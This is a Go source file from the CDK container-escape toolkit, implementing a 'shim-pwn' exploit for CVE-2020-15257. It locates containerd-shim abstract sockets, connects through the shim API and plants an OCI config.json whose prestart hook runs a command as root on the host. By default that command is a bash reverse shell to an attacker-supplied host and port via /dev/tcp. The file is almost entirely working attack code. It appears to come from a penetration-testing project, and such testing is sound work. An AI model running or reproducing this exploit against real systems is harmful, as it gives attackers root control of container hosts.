//go:build !thin && !no_containerd_shim_pwn
// +build !thin,!no_containerd_shim_pwn

/*
Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package escaping

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"net"
	"os"
	"path/filepath"
	"regexp"
	"strings"

	"github.com/cdk-team/CDK/pkg/cli"
	"github.com/cdk-team/CDK/pkg/errors"
	"github.com/cdk-team/CDK/pkg/exploit/base"
	"github.com/cdk-team/CDK/pkg/plugin"
	"github.com/cdk-team/CDK/pkg/util"
	shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
	"github.com/containerd/ttrpc"
)

var configJson = `
{
  "ociVersion": "1.0.1-dev",
  "process": {
    "terminal": false,
    "user": {
      "uid": 0,
      "gid": 0
    },
    "args": [
      "/bin/bash"
    ],
    "env": [
      "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "HOSTNAME=b6cee9b57f3b",
      "TERM=xterm"
    ],
    "cwd": "/"
  },
  "root": {
   "path": "/tmp"
  },
  "hostname": "b6cee9b57f3b",
  "hooks": {
        "prestart": [
            {
                "path": "/bin/bash",
                "args": ["bash", "-c", "$SHELLCMD$"],
                "env":  ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]
            }
        ]
    },
  "linux": {
    "resources": {
      "devices": [
        {
          "allow": false,
          "access": "rwm"
        }
      ],
      "memory": {
        "disableOOMKiller": false
      },
      "cpu": {
        "shares": 0
      },
      "blockIO": {
        "weight": 0
      }
    },
    "namespaces": [
      {
        "type": "mount"
      },
      {
        "type": "network"
      },
      {
        "type": "uts"
      },
      {
        "type": "ipc"
      }
    ]
  }
}
`

func containerdShimApiExp(sock, shellCmd, rhost, rport string) error {
	sock = strings.Replace(sock, "@", "", -1)
	conn, err := net.Dial("unix", "\x00"+sock)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "fail to connect unix socket " + sock}
	}

	client := ttrpc.NewClient(conn)
	shimClient := shimapi.NewShimClient(client)
	ctx := context.Background()

	// config.json file /run/containerd/io.containerd.runtime.v1.linux/moby/<id>/config.json
	// rootfs path /var/lib/docker/overlay2/<id>/merged

	localBundlePath := fmt.Sprintf("/cdk_%s", util.RandString(6))
	os.Mkdir(localBundlePath, os.ModePerm)

	// dockerAbsPath := GetDockerAbsPath() + "/merged" + localBundlePath
	absPath := GetDockerAbsPath()
	absPath = strings.TrimSuffix(absPath, "/merged")
	dockerAbsPath := filepath.Join(absPath, "merged", localBundlePath)
	// add a new log info, to find bug in real world
	log.Println("rootfs path, dockerAbsPath:", dockerAbsPath)

	var payloadShellCmd = ""
	if len(shellCmd) > 0 {
		payloadShellCmd = shellCmd
	} else {
		payloadShellCmd = fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", rhost, rport)
	}
	configJson = strings.Replace(configJson, "$SHELLCMD$", payloadShellCmd, -1)

	err = ioutil.WriteFile(localBundlePath+"/config.json", []byte(configJson), 0666)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to write file."}
	}

	var M = shimapi.CreateTaskRequest{
		ID:       util.RandString(10), // needs to be different in each exploit
		Bundle:   dockerAbsPath,       // use container abspath so runc can find config.json
		Terminal: false,
		Stdin:    "/dev/null",
		Stdout:   "/dev/null",
		Stderr:   "/dev/null",
	}

	info, err := shimClient.Create(ctx, &M)
	if err != nil {
		return &errors.CDKRuntimeError{Err: err, CustomMsg: "rpc error response."}
	}
	log.Println("shim pid:", info.Pid)
	return nil
}

func getShimSockets() ([][]byte, error) {
	re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
	if err != nil {
		return nil, err
	}
	data, err := ioutil.ReadFile("/proc/net/unix")
	matches := re.FindAll(data, -1)
	if matches == nil {
		return nil, errors.New("Cannot find vulnerable containerd-shim socket.")
	}
	return matches, nil
}

func ContainerdPwn(shellCmd string, rhost string, rport string) error {
	matchset := make(map[string]bool)
	socks, err := getShimSockets()
	if err != nil {
		return err
	}
	for _, b := range socks {
		sockname := string(b)
		if _, ok := matchset[sockname]; ok {
			continue
		}
		log.Println("try socket:", sockname)
		matchset[sockname] = true
		err = containerdShimApiExp(sockname, shellCmd, rhost, rport)
		if err == nil { // exploit success
			return nil
		} else {
			if strings.Contains(fmt.Sprintln(err), "close exec fds: open /proc/self/fd") {
				log.Println("exploit success.")
				return nil
			}
			log.Println(err)
		}
	}
	return errors.New("exploit failed.")
}

// plugin interface
type containerdShimPwnS struct{ base.BaseExploit }

func (p containerdShimPwnS) Desc() string {
	return "pwn CVE-2020-15257,start a privileged reverse shell to remote host or execute cmd. usage: \"./cdk run shim-pwn reverse <RHOST> <RPORT>\" or \"./cmd shim-pwn <SHELL_CMD>\" "
}
func (p containerdShimPwnS) Run() bool {
	args := cli.Args["<args>"].([]string)
	if len(args) < 1 {
		log.Println("invalid input args.")
		log.Fatal(p.Desc())
	}
	if args[0] == "reverse" {
		rhost := args[1]
		rport := args[2]
		log.Printf("trying to spawn shell to %s:%s\n", rhost, rport)
		err := ContainerdPwn("", rhost, rport)
		if err != nil {
			log.Println(err)
			return false
		}
	} else {
		shellCmd := strings.Join(args, " ")
		log.Printf("trying to run shell cmd: %s\n", shellCmd)
		err := ContainerdPwn(shellCmd, "", "")
		if err != nil {
			log.Println(err)
			return false
		}
	}

	return true
}

func init() {
	exploit := containerdShimPwnS{}
	exploit.ExploitType = "escaping"
	plugin.RegisterExploit("shim-pwn", exploit)
}
